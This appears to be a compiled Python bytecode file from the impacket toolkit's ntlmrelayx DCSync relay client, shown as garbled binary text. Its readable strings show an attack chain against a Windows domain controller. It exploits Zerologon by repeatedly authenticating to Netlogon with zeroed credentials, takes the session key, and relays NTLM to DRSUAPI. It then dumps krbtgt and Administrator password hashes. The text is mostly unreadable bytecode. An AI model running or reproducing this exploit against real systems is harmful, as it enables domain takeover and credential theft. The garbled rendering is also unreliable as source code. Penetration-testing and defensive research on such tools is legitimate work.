o
    àý°jR  ã                   @   sl  d dl mZmZ d dlmZmZ d dlZd dlmZ d dl	m
Z
mZ d dlmZ d dlmZ d dlmZmZ d d	lmZmZmZmZmZmZmZ d d
lmZ d dlmZmZm Z m!Z!m"Z" d dl#m$Z$ d dl%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5 d dl6m7Z7m8Z8m9Z9 dZ:G dd„ de;ƒZ<G dd„ de(ƒZ=G dd„ de7ƒZ>G dd„ deƒZ?dS )é    )ÚunpackÚpack)ÚhexlifyÚ	unhexlifyN)ÚARC4)ÚLOGÚntlm)ÚSMBConnection)ÚProtocolClient)ÚSTATUS_SUCCESSÚSTATUS_ACCESS_DENIED)ÚNTLMAuthChallengeÚgenerateEncryptedSessionKeyÚNTLMAuthChallengeResponseÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚNTLMAuthNegotiateÚNTLMSSP_NEGOTIATE_SEAL)ÚSPNEGO_NegTokenResp)Ú	transportÚrpcrtÚepmÚdrsuapiÚnrpc)ÚNDRCALL)ÚNULL)Ú	DCERPC_v5Ú	MSRPCBindÚCtxItemÚMSRPCHeaderÚSEC_TRAILERÚMSRPCBindAckÚMSRPCRespHeaderÚMSRPCBindNakÚDCERPCExceptionÚRPC_C_AUTHN_WINNTÚRPC_C_AUTHN_LEVEL_CONNECTÚrpc_status_codesÚrpc_provider_reasonÚRPC_C_AUTHN_LEVEL_PKT_PRIVACY)ÚRemoteOperationsÚ	SAMHashesÚ
NTDSHashesÚDCSYNCRelayClientc                   @   s   e Zd ZdS )ÚDCSYNCRelayClientExceptionN)Ú__name__Ú
__module__Ú__qualname__© r2   r2   ú¤/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/clients/dcsyncclient.pyr.   &   s    r.   c                   @   s$   e Zd Zdd„ Zdd„ Zdd„ ZdS )ÚMYDCERPC_v5c                 C   s   t  | |¡ d S ©N)r   Ú__init__)Úselfr   r2   r2   r3   r6   *   s   zMYDCERPC_v5.__init__c                 C   sÞ  t ƒ }tƒ }||d< | j|d< d|d< d|d< | |¡ tƒ }tj|d< | ¡ |d< d|d	< tƒ }t	|d
< t
|d< d|d< dt| ¡ ƒd  d }|dkr[|d  d| 7  < ||d< ||d< ||d< | j | ¡ ¡ | j ¡ }|dkryt|ƒ}	ndS |	d tjks‰|	d tjkr�t|	 ¡ ƒ}
nV|	d tjksž|	d tjkrÞ|	d tjkr¹t|	 ¡ ƒ}	td|	d d d… ƒd }n
t|	d ƒ}	|	d }|tv rÌt|d�‚|tv rØtdt|  ƒ‚td| ƒ‚td|	d  ƒ‚|  |
d ¡ |
S )NÚAbstractSyntaxÚTransferSyntaxr   Ú	ContextIDé   Ú
TransItemsÚtypeÚpduDataÚcall_idÚ	auth_typeÚ
auth_levelé5 Úauth_ctx_idé   ó   ÿÚauth_pad_lenÚsec_trailerÚ	auth_dataú<LÚRejectedReason)Ú
error_codezBind context rejected: %sz'Unknown DCE RPC fault status code: %.8xz(Unknown DCE RPC packet type received: %dÚ	max_rfrag)r   r   Útransfer_syntaxÚ
addCtxItemr   r   Ú
MSRPC_BINDÚgetDatar    r%   r)   ÚlenÚ
get_packetÚ
_transportÚsendÚrecvÚMSRPC_BINDACKÚMSRPC_ALTERCTX_Rr!   ÚMSRPC_BINDNAKÚMSRPC_FAULTr"   r   r#   r'   r$   r(   Úset_max_tfrag)r7   Ú
iface_uuidrH   ÚbindÚitemÚpacketrG   ÚpadÚsÚrespÚbindRespÚstatus_coder2   r2   r3   ÚsendBindType1-   sT   





zMYDCERPC_v5.sendBindType1c                 C   sf   t ƒ }t|d< t|d< d|d< tƒ }tj|d< d|d< ||d< ||d	< d
|d< | jj| ¡ dd� d S )Nr@   rA   rB   rC   r=   s       r>   rG   rH   r   r?   r;   )ÚforceWriteAndx)	r    r%   r)   r   r   ÚMSRPC_AUTH3rS   rT   rR   )r7   rH   rG   Úauth3r2   r2   r3   ÚsendBindType3h   s   
zMYDCERPC_v5.sendBindType3N)r/   r0   r1   r6   rd   rh   r2   r2   r2   r3   r4   )   s    ;r4   c                   @   s   e Zd Zdd„ Zdd„ ZdS )ÚPatchedRemoteOperationsc                 C   s   dS )N)Ú rj   r2   ©r7   r2   r2   r3   ÚgetMachineNameAndDomain   ó   z/PatchedRemoteOperations.getMachineNameAndDomainc                 C   ó   d S r5   r2   )r7   Údomainr2   r2   r3   ÚconnectSamr‚   rm   z#PatchedRemoteOperations.connectSamrN)r/   r0   r1   rl   rp   r2   r2   r2   r3   ri   }   s    ri   c                   @   sP   e Zd ZdZdZddd„Zdd„ Zd	d
„ Zddd„Zdd„ Z	dd„ Z
dd„ ZdS )r-   zÈ
    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
    ÚDCSYNCNTc                 C   sh   t  | ||||¡ |j| _tj| _t d|j	| jf ¡ t
j|j	| jdd�| _t d| j| jf ¡ d S )Nz@Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbindingÚncacn_ip_tcp©Úprotocolz%s stringbinding is %s)r
   r6   Úrpc_modeÚendpointr   ÚMSRPC_UUID_DRSUAPIÚendpoint_uuidr   ÚdebugÚnetlocr   Úhept_mapÚstringbinding)r7   ÚserverConfigÚtargetÚ
targetPortÚextendedSecurityr2   r2   r3   r6   Œ   s   zDCSYNCRelayClient.__init__c                 C   sˆ   t  | j¡}| jjr1t d| jj| jj	f ¡ | 
| jj| jj| jj| jj| jj¡ | | jj	¡ t|ƒ| _| j tj¡ | j ¡  dS )Nz<Authenticating to smb://%s:%d with creds provided in cmdlineT)r   ÚDCERPCTransportFactoryr|   r}   Úrpc_use_smbr   Úinfor~   rz   Úrpc_smb_portÚset_credentialsÚsmbuserÚsmbpassÚ	smbdomainÚ	smblmhashÚ	smbnthashÚ	set_dportr4   ÚsessionÚset_auth_levelr   r)   Úconnect)r7   Úrpctransportr2   r2   r3   ÚinitConnection˜   s   ÿ

z DCSYNCRelayClient.initConnectionc                 C   sj   t ƒ }| |¡ |d t@ dkr|d  tO  < | ¡ | _| j | j| j¡}tƒ | _	| j	 |d ¡ | j	S )NÚflagsr   rH   )
r   Ú
fromStringr   rP   ÚnegotiateMessagerŒ   rd   rx   r   Ú	challenge)r7   rH   ÚnegoMessagerb   r2   r2   r3   ÚsendNegotiate§   s   

zDCSYNCRelayClient.sendNegotiatec                 C   sœ  t d|d d… ƒd tjkrt|ƒ}|d }n|}d }�z&�zÿ|  ||¡}|dkr7W W |d ur5| ¡  d S d S | j |¡ tƒ }| |¡ d|d< |d t	@ dkrY|d  t	O  < t
 || j| j ¡  | ¡  ¡}||d< | j | ¡ ¡ t ¡ }	tj|	d< t ¡ }
t|
ƒ|
d	< tjtjB tjB tjB |
d
< tj|
d< d|
d< d|
d< d|
d< tj|
d< d|
d< t|
ƒ|	d d	< t|
 ¡ ƒ|	d d< | j |	¡}| jjdkrðt| jj | jj ƒ}| !| jj| jj"| jj#| jj$| jj%¡ t&|dƒ}nt'd dƒ}t ¡ }d (|d d ¡dtt ¡ ƒ|d d	    }| |¡ |d dk�rCt) *d|d  ¡ |d |
d< t|
ƒ|	d d	< t|
 ¡ ƒ|	d d< | j |	¡}|d |_+|d  ,d¡}t -| j|j+|d¡}|d d d  dk�rr|d d d! d d" |_.nt) /d#| ¡ t0d$ƒ‚| j|_1| jjdk�ržt2d d d%dd|dddd d&d dd'�}| 3¡  npt2d d d%dd|dddd d&|d( dd'�}| 3¡  |d) d*d … }t4|ƒ}|t5 d  ,d¡}t2d d d%dd|dddd d&|d+ | d, dd'�}| 3¡  zt2d d d%dd|dddd d&|d- dd'�}| 3¡  W n t0�y   t) /d.¡ Y nw d t6fW W |d u�r| ¡  S S  t0�y4 } z
t7 8¡  W Y d }~nd }~ww W |d u�rA| ¡  d S d S |d u�rM| ¡  w w )/NÚBr;   r   ÚResponseTokens                   ÚMICr‘   ÚpuuidClientDsaÚcbÚdwFlagsÚSiteObjGuidÚPidÚdwReplEpochÚ
dwFlagsExtÚConfigObjGUIDl   ÿÿ Ú	dwExtCapsÚ
pextClientÚrgbrj   Fó    ÚppextServeró    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againÚphDrsÚdomain_nameúutf-16leé   ÚpmsgOutÚV2ÚcItemsÚrItemsÚNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, abortingTÚhashes)ÚisRemoteÚhistoryÚnoLMHashÚ	remoteOpsÚuseVSSMethodÚjustNTLMÚ
pwdLastSetÚresumeSessionÚoutputFileNameÚjustUserÚprintUserStatusz/krbtgtr   é,   ú/ú$z/Administratorz'Could not dump administrator (renamed?))9r   r   ÚSPNEGO_NEG_TOKEN_RESPÚnetlogonSessionKeyÚfinishrŒ   Úset_session_keyr   r’   r   r   Úhmac_md5r“   r”   rP   rh   r   ÚDRSBindÚNTDSAPI_CLIENT_GUIDÚDRS_EXTENSIONS_INTrQ   ÚDRS_EXT_GETCHGREQ_V6ÚDRS_EXT_GETCHGREPLY_V6ÚDRS_EXT_GETCHGREQ_V8ÚDRS_EXT_STRONG_ENCRYPTIONÚNULLGUIDÚlistÚrequestr}   r†   r	   r~   rz   Úloginr‡   rˆ   r‰   rŠ   r*   ri   Újoinr   ry   Ú_RemoteOperations__hDrsÚdecodeÚhDRSDomainControllerInfoÚ$_RemoteOperations__NtdsDsaObjectGuidÚerrorÚ	ExceptionÚ_RemoteOperations__drsrr,   Údumpr   r   r   Ú	tracebackÚ	print_exc)r7   ÚauthenticateMessageBlobÚserverChallengeÚ
respToken2rH   rµ   Ú
signingkeyÚauthenticateMessageÚnewmicrÎ   Údrsra   ÚsmbConnectionÚdrsExtensionsIntr¦   Ú
domainNameÚnhÚav_pairsÚ
serverNameÚer2   r2   r3   ÚsendAuth´   sî   
wÿŠ
 
ÿ

ÿ
ÿ
ÿ

û

û
û
ûÿ


ÿý€ÿ
ÿ
ÿzDCSYNCRelayClient.sendAuthc                 C   sœ  t  d| jj ¡ t|ƒ}tƒ }| |d ¡ |d  d¡}|d }z|d dd … }t|ƒ}|t	 d  d¡}W n   t j
d	d
d� t Y S tj| jjtjdd�}	t |	¡ ¡ }
|
 ¡  |
 tj¡ d}td|ƒD ]m}t |
t|d d¡}|d }d}zt |
t|d tjj|d |d¡ W n@ tjy· } z| ¡ dkr¥W Y d }~qkt  d| ¡ ¡ W Y d }~nd }~w tyÐ } zt  dt|ƒ¡ W Y d }~nd }~ww t  d|¡  nt  d¡ d S t dt!d|ƒd d ƒ}t!ddƒd }t "¡ }d|d< |d |d< tj#j$|d < tj%j&|d!< tj%j&|d" d#< ||d" d$ d% d&< ||d" d$ d% d'< |d(  d¡|d" d$ d% d)< d*|d" d$ d% d+< ||d" d$ d,< |d |d" d$ d-< |d. |d" d$ d/< t '¡ }d|d0< d|d1< ||d2< d|d3 d0< d|d3 d1< d|d4< z|
 (|¡}W n% t)�yª } zt j
d	d
d� t  t|ƒ¡ | ¡ W  Y d }~S d }~ww t  d5||d(  d¡f ¡ |d6 }|d*k�rÎt*|d7 d8 d9 |ƒ}n|d7 d8 d9 }t  d:t+|ƒ d;¡ ¡ |t,j-@ �r#t, .||¡| j/_0t, .||d<¡| j/_1t, 2||¡| j/_3t, 2||d<¡| j/_4t5 6| j/j3¡}|j7| j/_8t5 6| j/j4¡}|j7| j/_9n!|| j/_0|| j/_1|| j/_3|| j/_4t5 6| j/j0¡}|j7| j/_8|j7| j/_9d| j/_:|| j/_;|S )=Nz!Connecting to %s NETLOGON servicer˜   r©   rª   r‘   r   r½   r;   z
Exception:T)Úexc_inforr   rs   ip  r   ú s           ÚServerChallengez$ iïÿ.!l   "    z"Unexpected error code from DC: %d.zUnexpected error: %szXNetlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!zENo success bypassing auth after 6000 attempts. Target likely patched!z<Qé
   rI   s   à*  ÚLogonServerÚComputerNameÚValidationLevelÚ
LogonLevelÚLogonInformationÚtagÚLogonNetworkTransitiveÚIdentityÚLogonDomainNameÚParameterControlÚ	user_nameÚUserNamerj   ÚWorkstationÚLmChallengeÚNtChallengeResponseÚlanmanÚLmChallengeResponseÚ
CredentialÚ	TimestampÚAuthenticatorÚReturnAuthenticatorÚ
ExtraFlagsz-%s\%s successfully validated through NETLOGONÚsession_keyÚValidationInformationÚValidationSam4ÚUserSessionKeyzNTLM Sign/seal key: %s zutf-8s   Server)<r   rƒ   r~   rz   r   r   r’   rÒ   r   r   ry   r   r   r{   r   ÚMSRPC_UUID_NRPCr   r�   Úget_dce_rpcrŽ   r\   ÚrangeÚhNetrServerReqChallenger   ÚhNetrServerAuthenticate3ÚNETLOGON_SECURE_CHANNEL_TYPEÚServerSecureChannelÚDCERPCSessionErrorÚget_error_coderÕ   ÚBaseExceptionÚstrr   r   ÚNetrLogonSamLogonWithFlagsÚNETLOGON_VALIDATION_INFO_CLASSÚNetlogonValidationSamInfo4ÚNETLOGON_LOGON_INFO_CLASSÚ$NetlogonNetworkTransitiveInformationÚNETLOGON_AUTHENTICATORrÎ   r$   r   r   r   Ú*NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYÚSIGNKEYrŒ   Ú_DCERPC_v5__clientSigningKeyÚ_DCERPC_v5__serverSigningKeyÚSEALKEYÚ_DCERPC_v5__clientSealingKeyÚ_DCERPC_v5__serverSealingKeyr   ÚnewÚencryptÚ_DCERPC_v5__clientSealingHandleÚ_DCERPC_v5__serverSealingHandleÚ_DCERPC_v5__sequenceÚ_DCERPC_v5__flags)r7   r”   rÛ   rÝ   rß   rä   r‘   ræ   rç   ÚbindingÚdceÚMAX_ATTEMPTSÚattemptra   rÜ   ÚpppÚexÚclientStoredCredentialÚlflagsrÎ   Úauthenticatorrè   ÚencryptedSessionKeyÚ
signingKeyÚcipher3Úcipher4Úcipherr2   r2   r3   rÁ   :  sÎ   þ€€ÿ
ÿÿ€ýÿ
ÿ


z$DCSYNCRelayClient.netlogonSessionKeyc                 C   s&   | j d ur| j  ¡  ¡  d | _ d S d S r5   )rŒ   Úget_rpc_transportÚ
disconnectrk   r2   r2   r3   ÚkillConnection²  s   

þz DCSYNCRelayClient.killConnectionc                 C   rn   r5   r2   rk   r2   r2   r3   Ú	keepAlive·  rm   zDCSYNCRelayClient.keepAlive)NTr5   )r/   r0   r1   Ú__doc__ÚPLUGIN_NAMEr6   r�   r–   ré   rÁ   r6  r7  r2   r2   r2   r3   r-   …   s    

 x)@Ústructr   r   Úbinasciir   r   rÙ   ÚCryptodome.Cipherr   Úimpacketr   r   Úimpacket.smbconnectionr	   Ú$impacket.examples.ntlmrelayx.clientsr
   Úimpacket.nt_errorsr   r   Úimpacket.ntlmr   r   r   r   r   r   r   Úimpacket.spnegor   Úimpacket.dcerpc.v5r   r   r   r   r   Úimpacket.dcerpc.v5.ndrr   Úimpacket.dcerpc.v5.dtypesr   Úimpacket.dcerpc.v5.rpcrtr   r   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   Úimpacket.examples.secretsdumpr*   r+   r,   ÚPROTOCOL_CLIENT_CLASSrÖ   r.   r4   ri   r-   r2   r2   r2   r3   Ú<module>   s(   $@T